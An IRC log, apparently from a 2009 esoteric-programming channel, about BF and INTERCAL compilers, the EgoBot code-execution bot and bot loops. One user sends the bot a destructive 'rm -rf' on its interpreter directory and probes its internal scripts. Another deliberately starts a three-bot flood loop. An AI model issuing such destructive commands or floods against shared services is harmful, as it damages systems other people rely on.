18:36:40 <Deewiant> Yes, as far as I can tell also
18:36:46 <Deewiant> So it's just a cool way of writing false
18:37:04 <ais523> except I'm not sure if true and false are the names of the booleans
18:37:11 <nooga> GregorR: and how is your c2bf?
18:37:16 <ais523> probably they are, though
18:37:19 <GregorR> I've become too lazy to manage my memory even when it's trivially simple :P
18:37:24 <GregorR> nooga: Unmaintained for years.
18:37:47 <ais523> gcc-bf's only unmaintained for months, it must be winning!
18:38:15 <pikhq> nooga: It works, but not well. ;)
18:38:27 <ais523> gcc-bf doesn't work, but well
18:38:36 <ais523> although it's a bit inefficient, or would be if it worked
18:38:41 <pikhq> ais523: Well, if it generates correct code, than it is much better. :p
18:38:42 <ais523> O(n) pointer access, for instance
18:38:53 <ais523> and it generates incorrect code, but that's due to bugs
18:39:01 <ais523> and unimplemented things, like multiplication
18:39:04 <Deewiant> Bugs don't count when it comes to correctness
18:39:11 <ais523> does anyone know a decent way to do 64-bit multiplication in BF?
18:39:14 <GregorR> nooga: http://pastebin.ca/1411342 , there, no gc :P
18:39:20 <Deewiant> As long as it would be correct if it didn't have any bugs, it's correct
18:39:23 <GregorR> ais523: By tearing ones eyes out.
18:39:35 <ais523> GregorR: I'm sure that doesn't comply with the C standard...
18:39:49 <ais523> I'm aiming to be both standards-compliant, and also working on many real-world programs
18:39:58 <pikhq> ais523: There's a multiplication algorithm, and there's a way of making 8-bit Brainfuck act as 64-bit.
18:40:00 <ais523> gcc-bf's meant to act as much like genuine gcc as possible, whilst still giving output in BF
18:40:09 <Deewiant> Assuming you can do n-bit multiplication you can probably do m-bit multiplication for m > n
18:40:25 <ais523> yes, but I want efficient implementations of everything
18:40:33 <ais523> assuming an impl which optimises run-length
18:40:39 <pikhq> But there's not many *good* ways to do 64-bit multiplication.
18:40:42 <nooga> GregorR: where is the src of c2bf? :o
18:40:48 <ais523> in fact, I may make gcc-bf output in run-length encoding by default
18:40:52 <pikhq> Somewhere on codu.org...
18:40:56 <ais523> otherwise my computer starts swapping trying to compile hello world
18:41:43 <ais523> the actual compile's fine, it turns out to be the output routine that can't handle it
18:42:02 <ais523> probably by outputting a bit at a time rather than doing the whole thing in memory, I could get around that problem
18:42:26 <pikhq> Hrm. Something like the output format from my (kinda lazy) bfcompress program, then...
18:42:38 <GregorR> nooga: It's on sourceforge, project c2bf
18:42:57 <GregorR> In SVN, its under the directory c2bf
18:42:58 <ais523> GregorR: are you gregorr on sourceforge yet?
18:43:08 <ais523> AnMaster was complaining about being undesirably lowercased
18:43:11 <GregorR> I don't use sourceforge any more :P
18:43:16 <pikhq> That program that inspired me to write PEBBLE.
18:43:29 <ais523> I wonder how similar PEBBLE is to ABI?
18:44:18 <GregorR> Application Binary Interface, duuuuh
18:44:35 <ais523> well, I chose the acronym due to the clash
18:44:39 <pikhq> GregorR: In this context, that leaves me more confused than before. ;p
18:44:43 <ais523> in this case, it's Assembable Brainfuck Instructions
18:44:53 <pikhq> I'd need to look at it.
18:44:56 <GregorR> Awww, /me liked "Assembable" :(
18:44:57 <ais523> it's an asm-like precursor to BF
18:45:04 <ais523> pikhq: let me find some
18:45:35 <pikhq> Either me or oerjan would be the only people that could judge, I think. (did anyone else do much of anything with PEBBLE?)
18:45:44 <GregorR> At this point, if I really wanted a C->BF, I would use mips-gcc and make a MIPS->BF translator.
18:46:10 <pikhq> A MIPS->BF translator? That sounds like a really painfully cool idea.
18:46:23 <ais523> $ zcat libm.a > /tmp/libm.abi
18:46:25 <pikhq> Less painful than a straight C->BF compiler, I bet.
18:46:27 <ais523> wow, I can't believe I just wrote that
18:47:23 <GregorR> Or maybe a MIPS->{pebble,ABI} translator? :P
18:47:54 <pikhq> MIPS->PEBBLE wouldn't be too much easier than MIPS->Brainfuck...
18:48:12 <pikhq> You'd be able to use some macros instead of implementing arithmetic, I guess.
18:49:23 <pikhq> Maybe create some macros to help with the function stuff.
18:49:24 <nooga> can't google it :C
18:49:50 <pikhq> nooga: I've lost my hosting, sadly.
18:50:35 <ais523> http://pastebin.ca/1411353
18:50:38 <ais523> that should give a good idea
18:51:24 <ais523> the linker will split that into more fundamental instructions before converting it to bf
18:51:59 <pikhq> Ah. That is higher level than PEBBLE. ;)
18:52:12 <ais523> many of the instructions map pretty closely onto BF, though
18:52:19 <pikhq> PEBBLE gives you macros, variables, and that's about it.
18:52:19 <ais523> what in particular made you think it was higher-level?
18:52:37 <ais523> it has several other things, too
18:52:41 <ais523> like hardware stack and frame
18:52:52 <pikhq> To do that in PEBBLE, you need to set up nested loops.
18:53:01 <ais523> probably the biggest difference is autoseek
18:53:15 <ais523> < and > can't be translated, instead you say where on the tape to operate
18:53:19 <ais523> and it figures out how to get there
18:53:20 <pikhq> (using the if or ift macros instead of while, for readibility's sake)
18:53:31 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
18:53:43 <ais523> the C -> ABI part of gcc-bf is pretty much finished
18:53:51 <ais523> the ABI -> BF part is running into trouble, though
18:54:05 <ais523> yes, I could implement multiplication using a loop, but that would be massively inefficient
18:54:10 <pikhq> In PEBBLE, you can go use < and > on the tape any time you want.
18:54:24 <ais523> ok, so they aren't really that similar
18:54:25 <pikhq> Accessing variables while you're doing that is undefined behavior. ;)
18:54:35 <Deewiant> ais523: Brainfuck /is/ rather inefficient.
18:54:51 -!- puzzlet has joined.
18:54:52 <ais523> but I do things like optimise multibyte addition
18:55:02 <ais523> so that it adds bytewise, not numberwise
18:57:07 <pikhq> Which isn't something PEBBLE does.
18:57:19 <pikhq> (I could add a macro for multibyte addition, though.)
18:57:38 <ais523> I use my new favourite technique for compiling ABI
18:57:46 <ais523> which is to compile a language into itself
18:57:55 <ais523> ABI, therefore, is compiled into lower-level ABI
18:58:02 <ais523> until it's at a low enough level to automatically convert into BF
18:58:05 <nooga> http://esolangs.org/wiki/Ans smells like sadol
18:58:19 <ais523> towards the end, it's mostly full of loloop and tadd2 instructions
18:58:33 <ais523> (loloop = [], tadd2 = [>+>+<<-])
18:58:53 <pikhq> ais523: That, amusingly, is how PEBBLE is implemented.
18:59:03 <ais523> it's the main way to implement such langs
18:59:16 <ais523> it's a gcc internal term
18:59:26 <ais523> for a sort of loop that doesn't require the overhead of a full goto
18:59:39 <pikhq> Each pass of the compiler just does a few operations on the code, and sends newly generated code on down.
18:59:43 <ais523> OTOH, gcc wasn't designed for a distance between a loloop and a conditional goto quite as big as gcc-bf has
19:00:14 <GregorR> Did anybody other than me ever write a MISC simulator? (I never released mine, because I'm an idiot)
19:00:52 <pikhq> One pass does macro evaluation, one does optimisation, one handles debugging output (basically just writing out *exactly* what instructions the compiler sees to generate stuff), and one finally does code generation.
19:01:30 <GregorR> nooga: http://esoteric.voxelperfect.net/wiki/MISC
19:02:13 <pikhq> (well, code generation *or* just doing some crazy psuedo-Tcl shit to interpret it)
19:02:23 <AnMaster> <GregorR> Awww, /me liked "Assembable" :( <-- huh. What is likable about that typo.
19:02:57 <GregorR> Only baby-talk of something that it's silly to talk to a baby about.
19:03:24 <GregorR> OHHH WIDDLE PIDDLE POO, ITS ASSEMBABLE! WIDDLE ABI IS ASSEMBABLE! A DOOBLEDOOBLEDOOO
19:04:36 <pikhq> That's especially funny if I imagine you actually saying that. ;)
19:05:06 <GregorR> I don't think you've heard enough of my voice to properly imagine that :P
19:05:42 <ais523> GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode
19:05:50 <ais523> which you can do by passing --preload=ick as a command-line option
19:06:03 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/
19:06:11 <pikhq> That video with you describing how to build Dsss, for example?
19:06:14 <GregorR> pikhq: Hence my use of the term "enough"
19:06:25 <pikhq> Well, I can still imagine it.
19:06:32 <pikhq> Probably not all that well, though.
19:06:35 <GregorR> And don't forget the kill yourself song :P
19:07:06 * GregorR is a bit scared that in his backup discs he has a directory "laptop/brainfuck/linux-2.6.11.8"
19:07:24 <ais523> I don't think gcc-bf can handle the Linux kernel yet, though
19:07:28 <ais523> but wouldn't it be great if it could?
19:07:51 <pikhq> GregorR: That's quite scary.
19:07:58 <AnMaster> <ais523> GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode
19:08:09 <AnMaster> shouldn't that be !clc-intercal and !c-intercal
19:08:17 <pikhq> ais523: I doubt Linux would run without some massive work.
19:08:23 <ais523> because it's still CLC-INTERCAL, just with C-INTERCAL emulation
19:08:40 <GregorR> pikhq: There's no I/O, so there's no purpose in running an OS :P
19:08:42 <AnMaster> ais523, yes it should use real ick
19:08:44 <pikhq> No MMU, for example.
19:08:44 <ais523> maybe !clc-intercal-atari or something would be closest to what's actually happening
19:08:54 <pikhq> GregorR: There's plenty of I/O.
19:08:56 <ais523> AnMaster: that would involve two compile stages
19:09:11 <pikhq> GregorR: Also, it could use PSOX.
19:09:15 <ais523> first from INTERCAL to C, then from C to executable
19:09:19 <ais523> it might be a pain to sandbox
19:09:27 <GregorR> ais523: Nah, that's easy to sandbox.
19:09:35 <ais523> well, feel free to use C-INTERCAL too
19:09:41 <ais523> although it demands files have filenames ending .i
19:09:48 <GregorR> I didn't reaaaaaaally want to have a whole family of intercals :P
19:09:50 <ais523> so you'll have to use a symlink to /dev/stdin, that's what I do
19:09:59 <ais523> GregorR: there are only three
19:11:51 <ais523> GregorR: INTERCAL is rather nonstandard in operation, more or less by definition
19:11:58 <ais523> so it tends to cause a lot of brain explosion
19:12:19 <ais523> removes the random compiler bug
19:12:42 <ais523> but really, a 10% chance of the program erroring out at random really isn't that bad for an IRC bot
19:13:45 <AnMaster> ais523, any idea when in May wolfram alpha will be released?
19:15:09 <AnMaster> ais523, there are 4 aren't there. The original one too
19:15:23 <ais523> there's both Princeton and Atari
19:15:29 <ais523> Atari is probably source-lost
19:15:45 <ais523> it's believed that there are still hardcopies of the Princeton compiler source lying around somewhere, though
19:15:45 * GregorR can't figure out how to make ick do anything X-D
19:15:55 <ais523> GregorR: what are you trying?
19:16:07 <Deewiant> A SOURCE IS A SOURCE, OF COURSE, OF COURSE
19:16:13 <ais523> GregorR: I mean, as the command line
19:16:13 <GregorR> DO READ OUT #130~#125 DO GIVE UP
19:16:36 <AnMaster> well you don't need -b of course
19:16:47 <ais523> bear in mind that ick invokes system to run a C compiler
19:16:52 <GregorR> Clearly I need something, as it doesn't read :P
19:16:56 <ais523> so you need to give it a process limit of 2, or do it separately
19:17:10 <GregorR> ICL999I NO SKELETON IN MY CLOSET, WOE IS ME! ON THE WAY TO 1 CORRECT SOURCE AND RESUBNIT
19:17:12 <ais523> gcc uses lots of processes
19:17:17 <ais523> GregorR: what version are you using?
19:17:25 <ais523> the no skeleton indicates a bad install
19:17:36 <ais523> but more recent versions make that harder and harder to mess up
19:17:46 <GregorR> That's because I didn't install, I'm running it in place :P
19:17:59 <ais523> oh, more recent versions should run in place, too
19:18:05 <ais523> there's a lot of dwimmery in finding the skeleton
19:18:14 <ais523> it looks everywhere plausible it can think of
19:18:25 <ais523> argv[0]'s path, argv[0]/../lib, etc
19:18:35 <ais523> try dumping pit/lib/syslib.i and src/ick-wrap.c into the current directory
19:18:39 <GregorR> Nope, needed to be installed
19:18:43 <GregorR> ICL000I DO READ OUT #130~#125
19:18:43 <GregorR> CORRECT SOURCE AND RESUBNIT
19:18:54 <GregorR> Which is probably correct X-P
19:19:01 <ais523> there was a bug in my program
19:19:14 <ais523> try DO .1 <- #130~#125 DO READ OUT .1 PLEASE GIVE UP
19:19:20 <AnMaster> isn't it internal compiler error
19:19:26 <ais523> no, 000 is syntax error
19:19:36 <AnMaster> ais523, where is the funny message
19:19:47 <ais523> the funny message is the line that errored
19:19:52 <ais523> writing amusing syntax errors is encouraged
19:20:29 <ais523> like the famous PLEASE KNOCK BEFORE ENTERING at the start of syslib
19:20:57 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
19:21:04 <ais523> not there yet, obviously
19:21:07 <AnMaster> btw I will accept patch for TRDS to cfunge. Under three conditions: 1) No slowdown for programs not using it. 2) No increase in memory usage for programs not using it. 3) No mess up in the core code of cfunge.
19:21:31 <AnMaster> Deewiant, then I won't implement it. Simply
19:21:32 <Deewiant> But then you need to open the file again
19:21:50 <ais523> does TRDS work retrospectively, from before you loaded the fingerprint?
19:21:52 <Deewiant> And it might have disappeared in the meantime, so it's not very robust
19:21:52 <GregorR> Which should it run when you type !intercal ?
19:21:53 <GregorR> (Or should that just be invalid)
19:21:59 <AnMaster> or accept a patch for it either. Well I could accept a patch to build both cfunge and cfunge.trds
19:22:04 <Deewiant> ais523: You need to keep a copy of the initial funge-space to be able to roll back time
19:22:12 <Deewiant> ais523: By default, you can just overwrite it as you run.
19:22:14 <ais523> GregorR: may as well make it invalid, C-INTERCAL is more popular but that's just bias
19:22:28 <AnMaster> Deewiant, no increase in memory usage also includes "not a single byte added to ip struct"
19:22:36 <ais523> C-INTERCAL's a lot faster, so that might help for simple programs; OTOH gcc's rather slow, so it might hinder
19:22:47 <ehird> pastie.org/private/j5veaiikl1x8vtwm0ov2ta
19:22:49 <ehird> 20:54:46 <lifthrasiir> so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe.
19:22:53 <ehird> oh my god have my babies :|
19:23:09 <AnMaster> Deewiant, only the extra memory from the extra code itself is allowed
19:23:19 <Deewiant> AnMaster: I think at least one global array for "TRDS IP data" would be required
19:23:29 <ais523> you could use malloc on first load
19:23:32 <ehird> ais523: err, look at the paste
19:23:34 <Deewiant> Your TRDS impl would be butt-slow under those conditions, though :-P
19:23:44 <ais523> ehird: but how do I know it isn't an ascii art rickroll?
19:23:45 <AnMaster> Deewiant, oh that wouldn't be allowed either.
19:23:48 <ehird> GregorR: Dicks have stds.
19:23:55 <ehird> ais523: Your loss.
19:23:56 <AnMaster> Deewiant, so not an option then :)
19:24:05 <ehird> ais523: Here's the juice:
19:24:09 <ais523> also, haha at that program (I did look at it)
19:24:14 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
19:24:15 <ehird> printf("Hello World!\n");
19:24:17 <ehird> ais523: Compiled from BF
19:24:20 <AnMaster> <ehird> 20:54:46 <lifthrasiir> so far i got hello world program almost optimized: http://pastie.org/private/j5veaiikl1x8vtwm0ov2ta . hehe.
19:24:20 <ehird> ais523: it isn't a special caser
19:24:23 <ehird> ais523: it really optimizes it to that
19:24:30 <ehird> now I have to beat it
19:24:32 <ais523> ehird: yes, presumably it's constant-folding prints?
19:24:38 <ehird> ais523: also polynomials I think
19:24:49 <ehird> I can beat it by recognizing that those cells's values aren't used anywhere else
19:24:53 <ehird> but yeah, I can get
19:24:56 <ehird> printf("Hello World!\n");
19:25:07 <ehird> char mem[30000], *mptr = mem; ← No segfault-handler-to-resize-tape fail :-)
19:25:12 <AnMaster> <ehird> I can beat it by recognizing that those cells's values aren't used anywhere else
19:25:33 <ehird> but will he get bored first?
19:25:37 <GregorR> Not if it's on the stack, you won't have a segfault if you step /barely/ over.
19:25:49 <ehird> GregorR: mprotect, mmap
19:25:55 <AnMaster> ehird, once he add that there is nothing more to add. Well he can see "char mem[30000], *mptr = mem;" isn't needed either.
19:26:01 <GregorR> Hence "not _IF IT'S ON THE STACK_"
19:26:05 <ehird> AnMaster: nothing more to add for that program
19:26:08 <ehird> but I can beat it on others
19:26:22 <ais523> !c-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:26:41 <ais523> !clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:26:43 -!- KingOfKarlsruhe has quit (Remote closed the connection).
19:26:48 <ehird> ais523: !cintercal, not c-intercal, I'd guess
19:26:51 <ehird> he doesn't have any -s in others
19:26:55 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
19:26:56 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c c-intercal clc-intercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
19:27:03 <GregorR> It doesn't support commands with - in them.
19:27:12 <ehird> Well typing - is a pain make it cintercal
19:27:14 <ais523> ehird: GregorR added it with - but - doesn't work
19:27:22 <AnMaster> <ehird> Well typing - is a pain make it cintercal
19:27:31 <AnMaster> your keyboard layout sucks then
19:27:34 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
19:27:35 <ehird> nope, I'm just lazy
19:27:37 <ehird> !cintercal AN BUTT!
19:27:38 <EgoBot> ICL129IPROGRAM HAS GOTTEN LOST
19:27:41 <ais523> !clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:27:43 <ais523> !cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:27:45 <EgoBot> ICL000I(1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:27:48 <EgoBot> *997 Illegal operator 1BUT for base 2
19:28:01 <ais523> oh, that program was TriINTERCAL
19:28:04 <AnMaster> yay for not spamming channel more than that
19:28:06 <ais523> no wonder it isn't running correctly
19:28:12 <AnMaster> !clc-intercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:28:18 <AnMaster> !cintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:28:20 <EgoBot> ICL000I(1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:28:23 <AnMaster> !clcintercal (1) DO .1 <- #?6 DOING DETECTION... YOU ARE USING INTERCAL-72 (5) PLEASE COME FROM (1) DOING DETECTION... YOU ARE USING C-INTERCAL PLEASE COME FROM .1 DOING DETECTION... YOU ARE USING CLC-INTERCAL
19:28:29 <EgoBot> *997 Illegal operator 1BUT for base 2
19:30:25 <GregorR> !sh echo '>+[->++++<]>[<+>-]<[->+++++++++<]>[<+>-]<[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<+>-]<.>+[->+++<]>[<+>-]<[<->-]<.>+[->+++++++<]>[<+>-]<[->+++++++<]>[<+>-]<[->++<]>[<+>-]<[<->-]<.>' | ./interps/egobf/src/egobfi8
19:30:29 <AnMaster> !cintercal PLEASE DON'T GIVE UP
19:30:30 <EgoBot> ICL774IRANDOM COMPILER BUG
19:30:36 <AnMaster> !cintercal PLEASE DON'T GIVE UP
19:30:37 <EgoBot> ICL129IPROGRAM HAS GOTTEN LOST
19:30:52 <ehird> !sh rm -rf interps
19:30:53 <EgoBot> /bin/rm: cannot remove `interps': Function not implemented
19:31:03 <AnMaster> !cintercal (1) PLEASE DON'T GIVE UP
19:31:04 <EgoBot> ICL129IPROGRAM HAS GOTTEN LOST
19:31:09 <EgoBot> 2009/05/03 18:31:09 socat[4711] E sendto(4, 0x7f8caae11080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory
19:31:13 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
19:31:20 <ais523> AnMaster: that error happens when you run off the end of a program
19:31:21 <EgoBot> /tmp/input.4757: line 1: ./PRIVMSG: is a directory
19:31:31 <ehird> !sh daemons/daemon.sh
19:31:32 <EgoBot> 2009/05/03 18:31:31 socat[4816] E sendto(4, 0x7f17c9323080, 48, 0, AF=1 "/tmp/multibot.EgoBot", 22): No such file or directory
19:31:32 <AnMaster> ais523, isn't DON'T GIVE UP for the loop thing
19:31:38 <ais523> AnMaster: no, it's a no-op
19:31:40 <ehird> !sh daemons/fifowrap
19:31:41 <EgoBot> /tmp/input.4839: line 1: daemons/fifowrap: No such file or directory
19:31:44 <EgoBot> /tmp/input.4866: line 1: ./fifowrap: is a directory
19:31:55 <AnMaster> ais523, what is the one to loop forever
19:31:56 <ais523> if you want an infinite loop, try either (1) DO COME FROM (1) or DO TRY AGAIN
19:32:07 <ais523> or (1) DO (1) NEXT if you don't mind running out of stack space
19:32:31 <EgoBot> .: interps lib slox ./interps: 1l 2l Makefile Makefile.orig adjust axo befunge bf_txtgen c-intercal cat cfunge clc-intercal dimensifuck egobch egobf gcccomp gforth_quit glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl ./interps/1l: 1l_a.bin 1l_a.c ./interps/2l: 2lc.c 2li.bin 2li.c Makefile README conv.sh ./interps/adjust: USED_VERSION adjust.bin adjust.c ./interps/axo: axopp
19:32:37 <EgoBot> /bin/ls: cannot access daemons/daemon.sh: No such file or directory
19:33:09 <EgoBot> /tmp/input.5015: line 2: syntax error: unexpected end of file
19:33:32 <ais523> AnMaster: what's the point of writing busyloops? they get throttled, and are killed after 30 seconds
19:33:44 <ais523> !underload (Look, I run despite all this load!)S
19:33:45 <EgoBot> Look, I run despite all this load!
19:33:56 <ehird> i'd like to note that "cd" does not always cd to ~
19:34:02 <AnMaster> ais523, are they limited to a per-process or a per-egobot limit
19:34:19 <EgoBot> /home/egobot/egobot.hg/multibot_cmds
19:34:23 <ehird> "I'll limit you to a per-process or a per-egobot limit, if you see what I mean."
19:34:30 <ehird> AnMaster: No, I discovered this locally.
19:34:37 <ais523> !underload ((!underload )SaS(:^)S):^
19:34:37 <ehird> If you're in a directory that doesn't exist, "cd" does nothing
19:34:37 <EgoBot> !underload ((!underload )SaS(:^)S):^
19:34:40 <AnMaster> <ehird> "I'll limit you to a per-process or a per-egobot limit, if you see what I mean."
19:35:02 <AnMaster> will enough limited processes clog things up
19:35:28 -!- puzzlet has quit (Remote closed the connection).
19:35:31 -!- puzzlet has joined.
19:35:37 <AnMaster> as in, each one get an equal amount from a max. Or each one has a fixed limit
19:36:23 <GregorR> Again, this is more about preventing mistakes from killing things than stopping malicious users from being asshats.
19:36:27 <AnMaster> GregorR, so if you limit each to 10%, then two running processes will use 20%?
19:37:50 <ais523> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:50 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:50 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:51 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:51 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:51 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:51 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:51 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:52 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:52 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:52 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:52 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:53 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:53 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:53 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:53 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:53 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:54 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:54 <EgoBot> ^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S
19:37:54 <fungot> +ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S
19:37:54 <thutubot> !underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^
19:37:55 -!- thutubot has quit ("ThutuBot quitting").
19:38:11 <ais523> sorry, I'm just such a botloop fan...
19:38:20 <GregorR> Plz no iterating quines kthxbai
19:38:26 <ehird> ais523: He did just call doing that a mark of an asshat.
19:38:32 <AnMaster> ais523, was that three after each other
19:38:35 <ehird> (Not a gripe, nothing wrong with hats on butts.)
19:38:39 <ais523> well, I ended the loop pretty quickly
19:38:50 <ais523> and I was only running one process at a time on each bot
19:38:55 <AnMaster> fizzie, please ignore thutubot and EgoBot in fungot
19:38:55 <fungot> AnMaster: ' i've sent them all!'
19:39:01 <fungot> Available: agora alice* darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp
19:39:05 <ais523> AnMaster: that's not the solution
19:39:09 <GregorR> Wait, that was a three-bot loop? lawl X-P
19:39:22 <ais523> because you could still do EgoBot/thutubot
19:39:26 <ais523> and what if a fourth bot turned up?
19:39:33 <ehird> % mkdir ~/Code/debfenestrate
19:39:35 <ais523> the solution's to ignore repeated identical queries
19:39:37 <xor> GregorR: run EgoBot in an EgoBot deamon running EgoBot running EgoBot
19:39:38 <AnMaster> ais523, make thutubot ignore EgoBot
19:39:42 <ehird> hmm that should be reserved for a .deb -fenestrator
19:39:47 <ehird> AnMaster: bots ignoring bots are evil.
19:39:50 <ais523> ehird: oh, what is it?
19:39:58 <ehird> this is a social problem, not a technical one
19:40:00 <ais523> I assumed it was something to do with .debs
19:40:03 <ehird> ais523: de-bf-enestrate
19:40:10 <GregorR> <ehird> this is a social problem, not a technical one // agree
19:40:23 <ehird> AnMaster: Yeah, um, that's completely irrelevant.
19:40:37 <ehird> No, no, it really is.
19:40:42 <ais523> xororand with a shorter name?
19:40:42 <AnMaster> anyway some troll could do what ais523 just did
19:40:56 <ehird> AnMaster: trolls don't bother us and when they do we ban them or ignore them.
19:40:59 <ais523> anyway, I like botloops, it's just nice when they come to an end
19:41:03 <ehird> a troll could bring their own two bots in
19:41:07 <ais523> I should write a terminating three-bot iterating loop, involving arithmetic
19:41:17 <AnMaster> ais523, was just about to suggest that
19:41:28 <ehird> 22:19:38 <GregorR> !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print;
19:41:29 <ehird> 22:19:38 <EgoBot> Just another Perl hacker,
19:41:31 <ehird> 22:24:27 <GregorR> (If perl isn't an esolang, I don't know what is ;) )
19:41:33 <ehird> nothing esoteric about that
19:41:33 <GregorR> !c printf("EgoBot is the greatest of the bots. All other bots are subservient.")
19:41:34 <EgoBot> EgoBot is the greatest of the bots. All other bots are subservient.
19:41:52 -!- thutubot has joined.
